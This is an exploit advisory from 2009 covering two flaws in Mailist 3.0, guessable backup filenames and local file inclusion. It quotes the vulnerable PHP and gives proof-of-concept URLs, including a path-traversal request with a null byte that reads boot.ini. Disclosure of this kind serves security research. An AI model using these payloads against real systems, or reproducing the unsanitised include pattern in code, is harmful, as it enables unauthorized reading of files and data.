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Mailist 3.0 Insecure Backup / LFI

Mailist 3.0 Insecure Backup / LFI
Posted Feb 6, 2009
Authored by SirGod | Site insecurity.ro

Mailist version 3.0 suffers from insecure backup and local file inclusion vulnerabilities.

tags | exploit, local, vulnerability, file inclusion
SHA-256 | a3d7cbc5177664e2c8b00580d6679b3cabc1e1e4f070a210ccb2e9d9ee8d1bce

Mailist 3.0 Insecure Backup / LFI

Change Mirror Download
#############################################################################################
[+] Mailist 3.0 Insecure Backup/Local File Inclusion
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
[+] www.hellzone.info
[+] www.anti-intruders.org
#############################################################################################

[+] Homepage : http://ninjadesigns.co.uk/

[+] Download : http://ninjadesigns.co.uk/enter/mailist.zip


[+] Insecure Backup

- Vulnerable code in admin.php


---------------------------------------------------------------------


if (isset($_GET['backup'])){
echo "<br>";
$file = 'maillist.php';
$newfile = 'backups/'.date("jnY").'.txt';
copy($file, $newfile);
echo 'Successfully backed up. (backups/'.$newfile.')<br>';
echo '<a href="'.$_SERVER['PHP_SELF'].'">Hide</a><br>';
}


----------------------------------------------------------------------

We can see how its crated a backup : $newfile = 'backups/'.date("jnY").'.txt';
The date() function is used.

n - Numeric representation of a month, without leading zeros
j - Day of the month without leading zeros
Y - A full numeric representation of a year, 4 digits

So we can guess the database backup if we know when was created.

Example : 622009.txt

6 - the day without leading 0
2 - the month without leading 0
2009 - the year

PoC : http://127.0.0.1/path/backups/622009.txt



[+] Local File Inclusion


- Vulnerable code in send.php :

---------------------------------------------------------------------

if(isset($load)){

include("outbox/".$load.".txt");
}


---------------------------------------------------------------------

Example :

http://127.0.0.1/path/send.php?load=[Local File]%00

PoC :

http://127.0.0.1/path/send.php?load=../../../../boot.ini%00



#############################################################################################
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